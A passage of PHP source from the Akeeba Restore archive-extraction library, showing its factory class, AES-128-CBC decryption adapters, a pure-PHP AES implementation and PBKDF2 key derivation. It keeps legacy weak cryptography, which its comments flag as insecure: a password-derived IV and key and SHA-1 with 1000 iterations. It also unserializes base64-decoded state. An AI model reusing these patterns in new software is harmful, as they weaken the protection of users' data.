		/** @var AKAbstractUnarchiver $object */
		$object = self::getClassInstance($class_name);

		if ($object->getState() == 'init')
		{
			$sourcePath = self::get('kickstart.setup.sourcepath', '');
			$sourceFile = self::get('kickstart.setup.sourcefile', '');

			if (!empty($sourcePath))
			{
				$sourceFile = rtrim($sourcePath, '/\\') . '/' . $sourceFile;
			}

			// Initialize the object –– Any change here MUST be reflected to echoHeadJavascript (default values)
			$config = [
				'filename'            => $sourceFile,
				'restore_permissions' => self::get('kickstart.setup.restoreperms', 0),
				'post_proc'           => self::get('kickstart.procengine', 'direct'),
				'add_path'            => self::get('kickstart.setup.targetpath', $destdir),
				'remove_path'         => self::get('kickstart.setup.removepath', ''),
				'rename_files'        => self::get('kickstart.setup.renamefiles', [
					'.htaccess' => 'htaccess.bak', 'php.ini' => 'php.ini.bak', 'web.config' => 'web.config.bak',
					'.user.ini' => '.user.ini.bak',
				]),
				'skip_files'          => self::get('kickstart.setup.skipfiles', [
					basename(__FILE__), 'kickstart.php', 'htaccess.bak', 'php.ini.bak',
				]),
				'ignoredirectories'   => self::get('kickstart.setup.ignoredirectories', [
					'tmp', 'log', 'logs',
				]),
			];

			if (!defined('KICKSTART'))
			{
				// In restore.php mode we have to exclude the restoration.php files
				$moreSkippedFiles     = [
					// Akeeba Backup for Joomla!
					'administrator/components/com_akeeba/restoration.php',
					'administrator/components/com_akeebabackup/restoration.php',
					// Joomla! Update
					'administrator/components/com_joomlaupdate/restoration.php',
					// Akeeba Backup for WordPress
					'wp-content/plugins/akeebabackupwp/app/restoration.php',
					'wp-content/plugins/akeebabackupcorewp/app/restoration.php',
					'wp-content/plugins/akeebabackup/app/restoration.php',
					'wp-content/plugins/akeebabackupwpcore/app/restoration.php',
					// Akeeba Solo
					'app/restoration.php',
				];

				$config['skip_files'] = array_merge($config['skip_files'], $moreSkippedFiles);
			}

			if (!empty($configOverride))
			{
				$config = array_merge($config, $configOverride);
			}

			$object->setup($config);
		}

		return $object;
	}

	// ========================================================================
	// Public factory interface
	// ========================================================================

	public static function get($key, $default = null)
	{
		$self = self::getInstance();

		if (array_key_exists($key, $self->varlist))
		{
			return $self->varlist[$key];
		}

		return $default;
	}

	/**
	 * Gets a single, internally used instance of the Factory
	 *
	 * @param string $serialized_data [optional] Serialized data to spawn the instance from
	 *
	 * @return AKFactory A reference to the unique Factory object instance
	 */
	protected static function &getInstance($serialized_data = null)
	{
		if (!is_object(self::$instance) || !is_null($serialized_data))
		{
			if (!is_null($serialized_data))
			{
				self::$instance = unserialize($serialized_data);

				return self::$instance;
			}

			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Internal function which instantiates a class named $class_name.
	 * The autoloader
	 *
	 * @param string $class_name
	 *
	 * @return object
	 */
	protected static function &getClassInstance($class_name)
	{
		$self = self::getInstance();

		if (!isset($self->objectlist[$class_name]))
		{
			$self->objectlist[$class_name] = new $class_name;
		}

		return $self->objectlist[$class_name];
	}

	// ========================================================================
	// Public hash data storage interface
	// ========================================================================

	/**
	 * Regenerates the full Factory state from a serialized snapshot (resume)
	 *
	 * @param string $serialized_data The serialized snapshot to resume from
	 */
	public static function unserialize($serialized_data)
	{
		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			$serialized_data = base64_decode($serialized_data);
		}

		self::getInstance($serialized_data);
	}

	/**
	 * Reset the internal factory state, freeing all previously created objects
	 */
	public static function nuke()
	{
		self::$instance = null;
	}

	// ========================================================================
	// Akeeba Kickstart classes
	// ========================================================================

	public static function set($key, $value)
	{
		$self                = self::getInstance();
		$self->varlist[$key] = $value;
	}

	/**
	 * Gets the post processing engine
	 *
	 * @param string $proc_engine
	 *
	 * @return AKAbstractPostproc
	 */
	public static function &getPostProc($proc_engine = null)
	{
		static $class_name;

		if (empty($class_name))
		{
			if (empty($proc_engine))
			{
				$proc_engine = self::get('kickstart.procengine', 'direct');
			}

			$class_name = 'AKPostproc' . ucfirst($proc_engine);
		}

		return self::getClassInstance($class_name);
	}

	/**
	 * Get the a reference to the Akeeba Engine's timer
	 *
	 * @return AKCoreTimer
	 */
	public static function &getTimer()
	{
		return self::getClassInstance('AKCoreTimer');
	}

	/**
	 * Get an instance of the filesystem zapper
	 *
	 * @return AKUtilsZapper
	 */
	public static function &getZapper()
	{
		return self::getClassInstance('AKUtilsZapper');
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Interface for AES encryption adapters
 */
interface AKEncryptionAESAdapterInterface
{
	/**
	 * Decrypts a string. Returns the raw binary ciphertext, zero-padded.
	 *
	 * @param   string       $plainText  The plaintext to encrypt
	 * @param   string       $key        The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 *
	 * @return  string  The raw encrypted binary string.
	 */
	public function decrypt($plainText, $key);

	/**
	 * Returns the encryption block size in bytes
	 *
	 * @return  int
	 */
	public function getBlockSize();

	/**
	 * Is this adapter supported?
	 *
	 * @return  bool
	 */
	public function isSupported();
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Abstract AES encryption class
 */
abstract class AKEncryptionAESAdapterAbstract
{
	/**
	 * Trims or zero-pads a key / IV
	 *
	 * @param   string $key  The key or IV to treat
	 * @param   int    $size The block size of the currently used algorithm
	 *
	 * @return  null|string  Null if $key is null, treated string of $size byte length otherwise
	 */
	public function resizeKey($key, $size)
	{
		if (empty($key))
		{
			return null;
		}

		$keyLength = strlen($key);

		if (function_exists('mb_strlen'))
		{
			$keyLength = mb_strlen($key, 'ASCII');
		}

		if ($keyLength == $size)
		{
			return $key;
		}

		if ($keyLength > $size)
		{
			if (function_exists('mb_substr'))
			{
				return mb_substr($key, 0, $size, 'ASCII');
			}

			return substr($key, 0, $size);
		}

		return $key . str_repeat("\0", ($size - $keyLength));
	}

	/**
	 * Returns null bytes to append to the string so that it's zero padded to the specified block size
	 *
	 * @param   string $string    The binary string which will be zero padded
	 * @param   int    $blockSize The block size
	 *
	 * @return  string  The zero bytes to append to the string to zero pad it to $blockSize
	 */
	protected function getZeroPadding($string, $blockSize)
	{
		$stringSize = strlen($string);

		if (function_exists('mb_strlen'))
		{
			$stringSize = mb_strlen($string, 'ASCII');
		}

		if ($stringSize == $blockSize)
		{
			return '';
		}

		if ($stringSize < $blockSize)
		{
			return str_repeat("\0", $blockSize - $stringSize);
		}

		$paddingBytes = $stringSize % $blockSize;

		return str_repeat("\0", $blockSize - $paddingBytes);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

class Mcrypt extends AKEncryptionAESAdapterAbstract implements AKEncryptionAESAdapterInterface
{
	protected $cipherType = MCRYPT_RIJNDAEL_128;

	protected $cipherMode = MCRYPT_MODE_CBC;

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = mcrypt_decrypt($this->cipherType, $key, $cipherText, $this->cipherMode, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('mcrypt_get_key_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_get_iv_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_create_iv'))
		{
			return false;
		}

		if (!function_exists('mcrypt_encrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_decrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_list_algorithms'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = mcrypt_list_algorithms();

		if (!in_array('rijndael-128', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-192', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-256', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	public function getBlockSize()
	{
		return mcrypt_get_iv_size($this->cipherType, $this->cipherMode);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

class OpenSSL extends AKEncryptionAESAdapterAbstract implements AKEncryptionAESAdapterInterface
{
	/**
	 * The OpenSSL options for encryption / decryption
	 *
	 * @var  int
	 */
	protected $openSSLOptions = 0;

	/**
	 * The encryption method to use
	 *
	 * @var  string
	 */
	protected $method = 'aes-128-cbc';

	public function __construct()
	{
		$this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('openssl_get_cipher_methods'))
		{
			return false;
		}

		if (!function_exists('openssl_random_pseudo_bytes'))
		{
			return false;
		}

		if (!function_exists('openssl_cipher_iv_length'))
		{
			return false;
		}

		if (!function_exists('openssl_encrypt'))
		{
			return false;
		}

		if (!function_exists('openssl_decrypt'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = openssl_get_cipher_methods();

		if (!in_array('aes-128-cbc', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	/**
	 * @return int
	 */
	public function getBlockSize()
	{
		return openssl_cipher_iv_length($this->method);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * AES implementation in PHP (c) Chris Veness 2005-2016.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Heavily modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Also added AES-128 CBC mode (with mcrypt and OpenSSL) on top of AES CTR
 * Removed CTR encrypt / decrypt (no longer used)
 */
class AKEncryptionAES
{
	// Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
	protected static $Sbox =
		[0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
			0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
			0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
			0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
			0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
			0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
			0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
			0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
			0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
			0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
			0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
			0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
			0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
			0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
			0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
			0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];

	// Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
	protected static $Rcon = [
		[0x00, 0x00, 0x00, 0x00],
		[0x01, 0x00, 0x00, 0x00],
		[0x02, 0x00, 0x00, 0x00],
		[0x04, 0x00, 0x00, 0x00],
		[0x08, 0x00, 0x00, 0x00],
		[0x10, 0x00, 0x00, 0x00],
		[0x20, 0x00, 0x00, 0x00],
		[0x40, 0x00, 0x00, 0x00],
		[0x80, 0x00, 0x00, 0x00],
		[0x1b, 0x00, 0x00, 0x00],
		[0x36, 0x00, 0x00, 0x00]];

	protected static $passwords = [];

	/**
	 * The algorithm to use for PBKDF2. Must be a supported hash_hmac algorithm. Default: sha1
	 *
	 * @var  string
	 */
	private static $pbkdf2Algorithm = 'sha1';

	/**
	 * Number of iterations to use for PBKDF2
	 *
	 * @var  int
	 */
	private static $pbkdf2Iterations = 1000;

	/**
	 * Should we use a static salt for PBKDF2?
	 *
	 * @var  int
	 */
	private static $pbkdf2UseStaticSalt = 0;

	/**
	 * The static salt to use for PBKDF2
	 *
	 * @var  string
	 */
	private static $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * AES Cipher function: encrypt 'input' with Rijndael algorithm
	 *
	 * @param   array $input    Message as byte-array (16 bytes)
	 * @param   array $w        key schedule as 2D byte-array (Nr+1 x Nb bytes) -
	 *                          generated from the cipher key by KeyExpansion()
	 *
	 * @return  string  Ciphertext as byte-array (16 bytes)
	 */
	protected static function Cipher($input, $w)
	{
		// main Cipher function [�5.1]
		$Nb = 4;                 // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$state = [];  // initialise 4xNb byte-array 'state' with input [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$state[$i % 4][floor($i / 4)] = $input[$i];
		}

		$state = self::AddRoundKey($state, $w, 0, $Nb);

		for ($round = 1; $round < $Nr; $round++)
		{  // apply Nr rounds
			$state = self::SubBytes($state, $Nb);
			$state = self::ShiftRows($state, $Nb);
			$state = self::MixColumns($state);
			$state = self::AddRoundKey($state, $w, $round, $Nb);
		}

		$state = self::SubBytes($state, $Nb);
		$state = self::ShiftRows($state, $Nb);
		$state = self::AddRoundKey($state, $w, $Nr, $Nb);

		$output = [4 * $Nb];  // convert state to 1-d array before returning [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$output[$i] = $state[$i % 4][floor($i / 4)];
		}

		return $output;
	}

	protected static function AddRoundKey($state, $w, $rnd, $Nb)
	{
		// xor Round Key into state S [�5.1.4]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
			}
		}

		return $state;
	}

	protected static function SubBytes($s, $Nb)
	{
		// apply SBox to state S [�5.1.1]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$s[$r][$c] = self::$Sbox[$s[$r][$c]];
			}
		}

		return $s;
	}

	protected static function ShiftRows($s, $Nb)
	{
		// shift row r of state S left by r bytes [�5.1.2]
		$t = [4];

		for ($r = 1; $r < 4; $r++)
		{
			for ($c = 0; $c < 4; $c++)
			{
				$t[$c] = $s[$r][($c + $r) % $Nb];
			}  // shift into temp copy

			for ($c = 0; $c < 4; $c++)
			{
				$s[$r][$c] = $t[$c];
			}         // and copy back
		}          // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):

		return $s;  // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
	}

	protected static function MixColumns($s)
	{
		// combine bytes of each col of state S [�5.1.3]
		for ($c = 0; $c < 4; $c++)
		{
			$a = [4];  // 'a' is a copy of the current column from 's'
			$b = [4];  // 'b' is a�{02} in GF(2^8)

			for ($i = 0; $i < 4; $i++)
			{
				$a[$i] = $s[$i][$c];
				$b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
			}

			// a[n] ^ b[n] is a�{03} in GF(2^8)
			$s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
			$s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
			$s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
			$s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
		}

		return $s;
	}

	/**
	 * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
	 * to generate a key schedule
	 *
	 * @param   array $key Cipher key byte-array (16 bytes)
	 *
	 * @return  array  Key schedule as 2D byte-array (Nr+1 x Nb bytes)
	 */
	protected static function KeyExpansion($key)
	{
		// generate Key Schedule from Cipher Key [�5.2]

		// block size (in words): no of columns in state (fixed at 4 for AES)
		$Nb = 4;
		// key length (in words): 4/6/8 for 128/192/256-bit keys
		$Nk = (int) (count($key) / 4);
		// no of rounds: 10/12/14 for 128/192/256-bit keys
		$Nr = $Nk + 6;

		$w    = [];
		$temp = [];

		for ($i = 0; $i < $Nk; $i++)
		{
			$r     = [$key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]];
			$w[$i] = $r;
		}

		for ($i = $Nk; $i < ($Nb * ($Nr + 1)); $i++)
		{
			$w[$i] = [];
			for ($t = 0; $t < 4; $t++)
			{
				$temp[$t] = $w[$i - 1][$t];
			}
			if ($i % $Nk == 0)
			{
				$temp = self::SubWord(self::RotWord($temp));
				for ($t = 0; $t < 4; $t++)
				{
					$rConIndex = (int) ($i / $Nk);
					$temp[$t] ^= self::$Rcon[$rConIndex][$t];
				}
			}
			else if ($Nk > 6 && $i % $Nk == 4)
			{
				$temp = self::SubWord($temp);
			}
			for ($t = 0; $t < 4; $t++)
			{
				$w[$i][$t] = $w[$i - $Nk][$t] ^ $temp[$t];
			}
		}

		return $w;
	}

	protected static function SubWord($w)
	{
		// apply SBox to 4-byte word w
		for ($i = 0; $i < 4; $i++)
		{
			$w[$i] = self::$Sbox[$w[$i]];
		}

		return $w;
	}

	/*
	 * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
	 *
	 * @param a  number to be shifted (32-bit integer)
	 * @param b  number of bits to shift a to the right (0..31)
	 * @return   a right-shifted and zero-filled by b bits
	 */

	protected static function RotWord($w)
	{
		// rotate 4-byte word w left by one byte
		$tmp = $w[0];
		for ($i = 0; $i < 3; $i++)
		{
			$w[$i] = $w[$i + 1];
		}
		$w[3] = $tmp;

		return $w;
	}

	protected static function urs($a, $b)
	{
		$a &= 0xffffffff;
		$b &= 0x1f;  // (bounds check)
		if ($a & 0x80000000 && $b > 0)
		{   // if left-most bit set
			$a = ($a >> 1) & 0x7fffffff;   //   right-shift one bit & clear left-most bit
			$a = $a >> ($b - 1);           //   remaining right-shifts
		}
		else
		{                       // otherwise
			$a = ($a >> $b);               //   use normal right-shift
		}

		return $a;
	}

	/**
	 * AES decryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 *
	 * It supports AES-128 only. It assumes that the last 4 bytes
	 * contain a little-endian unsigned long integer representing the unpadded
	 * data length.
	 *
	 * @since  3.0.1
	 * @author Nicholas K. Dionysopoulos
	 *
	 * @param   string $ciphertext The data to encrypt
	 * @param   string $password   Encryption password
	 *
	 * @return  string  The plaintext
	 */
	public static function AESDecryptCBC($ciphertext, $password)
	{
		$adapter = self::getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Read the data size
		$data_size = unpack('V', substr($ciphertext, -4));

		// Do I have a PBKDF2 salt?
		$salt             = substr($ciphertext, -92, 68);
		$rightStringLimit = -4;

		$params        = self::getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$useStaticSalt = $params['useStaticSalt'];

		if (substr($salt, 0, 4) == 'JPST')
		{
			// We have a stored salt. Retrieve it and tell decrypt to process the string minus the last 44 bytes
			// (4 bytes for JPST, 16 bytes for the salt, 4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the
			// uncompressed string length - note that using PBKDF2 means we're also using a randomized IV per the
			// format specification).
			$salt             = substr($salt, 4);
			$rightStringLimit -= 68;

			$key          = self::pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}
		elseif ($useStaticSalt)
		{
			// We have a static salt. Use it for PBKDF2.
			$key = self::getStaticSaltExpandedKey($password);
		}
		else
		{
			// Get the expanded key from the password. THIS USES THE OLD, INSECURE METHOD.
			$key = self::expandKey($password);
		}

		// Try to get the IV from the data
		$iv               = substr($ciphertext, -24, 20);

		if (substr($iv, 0, 4) == 'JPIV')
		{
			// We have a stored IV. Retrieve it and tell mdecrypt to process the string minus the last 24 bytes
			// (4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the uncompressed string length)
			$iv               = substr($iv, 4);
			$rightStringLimit -= 20;
		}
		else
		{
			// No stored IV. Do it the dumb way.
			$iv = self::createTheWrongIV($password);
		}

		// Decrypt
		$plaintext = $adapter->decrypt($iv . substr($ciphertext, 0, $rightStringLimit), $key);

		// Trim padding, if necessary
		if (strlen($plaintext) > $data_size)
		{
			$plaintext = substr($plaintext, 0, $data_size);
		}

		return $plaintext;
	}

	/**
	 * That's the old way of creating an IV that's definitely not cryptographically sound.
	 *
	 * DO NOT USE, EVER, UNLESS YOU WANT TO DECRYPT LEGACY DATA
	 *
	 * @param   string $password The raw password from which we create an IV in a super bozo way
	 *
	 * @return  string  A 16-byte IV string
	 */
	public static function createTheWrongIV($password)
	{
		static $ivs = [];

		$key = AKUtilsHash::md5($password);

		if (!isset($ivs[$key]))
		{
			$nBytes  = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
			$pwBytes = [];
			for ($i = 0; $i < $nBytes; $i++)
			{
				$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
			}
			$iv    = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
			$newIV = '';
			foreach ($iv as $int)
			{
				$newIV .= chr($int);
			}

			$ivs[$key] = $newIV;
		}

		return $ivs[$key];
	}

	/**
	 * Expand the password to an appropriate 128-bit encryption key
	 *
	 * @param   string $password
	 *
	 * @return  string
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public static function expandKey($password)
	{
		// Try to fetch cached key or create it if it doesn't exist
		$nBits     = 128;
		$lookupKey = AKUtilsHash::md5($password . '-' . $nBits);

		if (array_key_exists($lookupKey, self::$passwords))
		{
			$key = self::$passwords[$lookupKey];

			return $key;
		}

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key.
		$nBytes  = $nBits / 8; // Number of bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key    = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
		$key    = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
		$newKey = '';

		foreach ($key as $int)
		{
			$newKey .= chr($int);
		}

		$key = $newKey;

		self::$passwords[$lookupKey] = $key;

		return $key;
	}

	/**
	 * Returns the correct AES-128 CBC encryption adapter
	 *
	 * @return  AKEncryptionAESAdapterInterface
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public static function getAdapter()
	{
		static $adapter = null;

		if (is_object($adapter) && ($adapter instanceof AKEncryptionAESAdapterInterface))
		{
			return $adapter;
		}

		$adapter = new OpenSSL();

		if (!$adapter->isSupported())
		{
			$adapter = new Mcrypt();
		}

		return $adapter;
	}

	/**
	 * @return string
	 */
	public static function getPbkdf2Algorithm()
	{
		return self::$pbkdf2Algorithm;
	}

	/**
	 * @param string $pbkdf2Algorithm
	 * @return void
	 */
	public static function setPbkdf2Algorithm($pbkdf2Algorithm)
	{
		self::$pbkdf2Algorithm = $pbkdf2Algorithm;
	}

	/**
	 * @return int
	 */
	public static function getPbkdf2Iterations()
	{
		return self::$pbkdf2Iterations;
	}

	/**
	 * @param int $pbkdf2Iterations
	 * @return void
	 */
	public static function setPbkdf2Iterations($pbkdf2Iterations)
	{
		self::$pbkdf2Iterations = $pbkdf2Iterations;
	}

	/**
	 * @return int
	 */
	public static function getPbkdf2UseStaticSalt()
	{
		return self::$pbkdf2UseStaticSalt;
	}

	/**
	 * @param int $pbkdf2UseStaticSalt
	 * @return void
	 */
	public static function setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt)
	{
		self::$pbkdf2UseStaticSalt = $pbkdf2UseStaticSalt;
	}

	/**
	 * @return string
	 */
	public static function getPbkdf2StaticSalt()
	{
		return self::$pbkdf2StaticSalt;
	}

	/**
	 * @param string $pbkdf2StaticSalt
	 * @return void
	 */
	public static function setPbkdf2StaticSalt($pbkdf2StaticSalt)
	{
		self::$pbkdf2StaticSalt = $pbkdf2StaticSalt;
	}

	/**
	 * Get the parameters fed into PBKDF2 to expand the user password into an encryption key. These are the static
	 * parameters (key size, hashing algorithm and number of iterations). A new salt is used for each encryption block
	 * to minimize the risk of attacks against the password.
	 *
	 * @return  array
	 */
	public static function getKeyDerivationParameters()
	{
		return [
			'keySize'       => 16,
			'algorithm'     => self::$pbkdf2Algorithm,
			'iterations'    => self::$pbkdf2Iterations,
			'useStaticSalt' => self::$pbkdf2UseStaticSalt,
			'staticSalt'    => self::$pbkdf2StaticSalt,
		];
	}

	/**
	 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
	 *
	 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
	 *
	 * This implementation of PBKDF2 was originally created by https://defuse.ca
	 * With improvements by http://www.variations-of-shadow.com
	 * Modified for Akeeba Engine by Akeeba Ltd (removed unnecessary checks to make it faster)
	 *
	 * @param   string  $password    The password.
	 * @param   string  $salt        A salt that is unique to the password.
	 * @param   string  $algorithm   The hash algorithm to use. Default is sha1.
	 * @param   int     $count       Iteration count. Higher is better, but slower. Default: 1000.
	 * @param   int     $key_length  The length of the derived key in bytes.
	 *
	 * @return  string  A string of $key_length bytes
	 */
	public static function pbkdf2($password, $salt, $algorithm = 'sha1', $count = 1000, $key_length = 16)
	{
		if (function_exists("hash_pbkdf2"))
		{
			return hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, true);
		}

		$hash_length = akstringlen(hash($algorithm, "", true));
		$block_count = ceil($key_length / $hash_length);

		$output = "";

		for ($i = 1; $i <= $block_count; $i++)
		{
			// $i encoded as 4 bytes, big endian.
			$last = $salt . pack("N", $i);

			// First iteration
			$xorResult = hash_hmac($algorithm, $last, $password, true);
			$last      = $xorResult;

			// Perform the other $count - 1 iterations
			for ($j = 1; $j < $count; $j++)
			{
				$last = hash_hmac($algorithm, $last, $password, true);
				$xorResult ^= $last;
			}

			$output .= $xorResult;
		}

		return aksubstr($output, 0, $key_length);
	}

	/**
	 * Get the expanded key from the user supplied password using a static salt. The results are cached for performance
	 * reasons.
	 *
	 * @param   string  $password  The user-supplied password, UTF-8 encoded.
	 *
	 * @return  string  The expanded key
	 */
	private static function getStaticSaltExpandedKey($password)
	{
		$params        = self::getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$staticSalt    = $params['staticSalt'];

